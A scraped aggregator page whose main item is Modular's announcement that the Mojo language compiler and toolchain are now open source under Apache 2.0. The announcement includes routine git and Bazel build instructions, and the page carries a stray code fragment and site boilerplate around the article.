let url = sr­c_­down­load­_url();

let bytes = down­load­_bytes(&url);

match std::env::con­sts::OS {

Mojo🔥 is now open source!

www.modular.com

We are happy to an­nounce that the Mojo🔥 lan­guage is now fully open source un­der the Apache 2.0 li­cense (with LLVM ex­cep­tions)! The source code for the Mojo com­piler, tool­ing, and every­thing else you need to build the lan­guage are now avail­able in our mod­u­lar GitHub repos­i­tory.

The Mojo lan­guage is a bold bet: a novel gen­eral pur­pose pro­gram­ming lan­guage that goes fur­ther than older ones. Mojo in­te­grates the lat­est in com­piler and pro­gram­ming lan­guage re­search to un­lock GPUs, AI ac­cel­er­a­tors, and other ad­vanced com­pute. For the last four years, Mojo has been de­vel­oped with an open com­mu­nity, but a closed com­piler. Last week Mojo hit 1.0 (with source sta­bil­ity), and to­day we’re ex­cited to open source the en­tire com­piler and tool­chain.

Apache 2: A per­mis­sive li­cense

The Apache 2.0 li­cense is the gold stan­dard for pro­gram­ming lan­guages and com­pil­ers, be­cause it pro­vides great flex­i­bil­ity to be used in all sorts of ap­pli­ca­tions. The LLVM ex­ten­sions to the li­cense fur­ther ex­pand those free­doms for build­ing and dis­trib­ut­ing bi­na­ries com­piled from Mojo. We want you to be able to adopt and use Mojo in as many ap­pli­ca­tions as you can imag­ine.

Our open source ap­proach has been de­lib­er­ate: we’ve found that small and tight-knit de­sign teams (not com­mit­tees) are the best for find­ing the soul” of a lan­guage, but that feed­back from a broader com­mu­nity is es­sen­tial to es­cape an echo cham­ber. As such, we first open-sourced the Mojo stan­dard li­brary, then re­leased hun­dreds of thou­sands of lines of ker­nel code writ­ten in Mojo, tools, and sup­port. We built to­gether with com­mu­nity feed­back and pub­lic de­sign pro­pos­als, and are now open sourc­ing the com­piler. We will con­tinue to open our processes fur­ther as Mojo keeps ma­tur­ing.

How to get and build the com­piler

All code for the Mojo lan­guage is now avail­able at the main mod­u­lar GitHub repos­i­tory. First, clone that repos­i­tory lo­cally:

bash

git clone https://​github.com/​mod­u­lar/​mod­u­lar.git

cd mod­u­lar

Then, to build the Mojo com­piler from source and run it against a Mojo file you can use a sin­gle build com­mand:

bash

./bazelw run –config=build-mojo KGEN:mojo — run hello.mojo

At Modular, we use Bazel to man­age the com­plex build processes and caching for Mojo and MAX. This one com­mand will down­load or build every­thing needed to build the Mojo com­piler and the Mojo stan­dard li­brary. The flag –config=build-mojo tells the build sys­tem to com­pile every­thing from scratch, us­ing the source code on your lo­cal sys­tem.

This ex­tends to work­ing with the Mojo stan­dard li­brary, where you can mod­ify the com­piler or li­brary code and run the full suite of tests via:

bash

./bazelw test –config=build-mojo mojo/​stdlib/​test/…

If you aren’t work­ing on the com­piler it­self, you can use the flag –config=prebuilt-mojo and the build sys­tem will down­load the lat­est nightly bi­nary dis­tri­b­u­tion of the com­piler, sav­ing you some com­pi­la­tion time. Note that a pre­built Mojo com­piler is still nec­es­sary to­day if you are cus­tomiz­ing MAX ker­nels or mod­els.

Contributions

The Mojo stan­dard li­brary has been ac­cept­ing con­tri­bu­tions since 2024, and we’re grate­ful for every­one that has helped ad­vance the lan­guage. One learn­ing (particularly in to­day’s era of AI cod­ing) is that we need to be de­lib­er­ate about how we han­dle con­tri­bu­tions. As such, we aren’t ready to take con­tri­bu­tions to the com­piler and tool­ing. We aim to ac­cept con­tri­bu­tions to the com­piler and tool­ing by the end of this year, and we’ll share more de­tails when we can.

To ask any ques­tions about the Mojo com­piler source as you read through it, or to share what you’re work­ing on, please join our fo­rum. Clone the source code and let us know what you’re build­ing with the Mojo lan­guage. We’re ex­cited to open Mojo up to the world and see how it grows!

wsj.com

www.wsj.com

Please en­able JS and dis­able any ad blocker

To add this web app to your iOS home screen tap the share button and select "Add to the Home Screen".

10HN is also available as an iOS App

If you visit 10HN only rarely, check out the the best articles from the past week.

Visit pancik.com for more.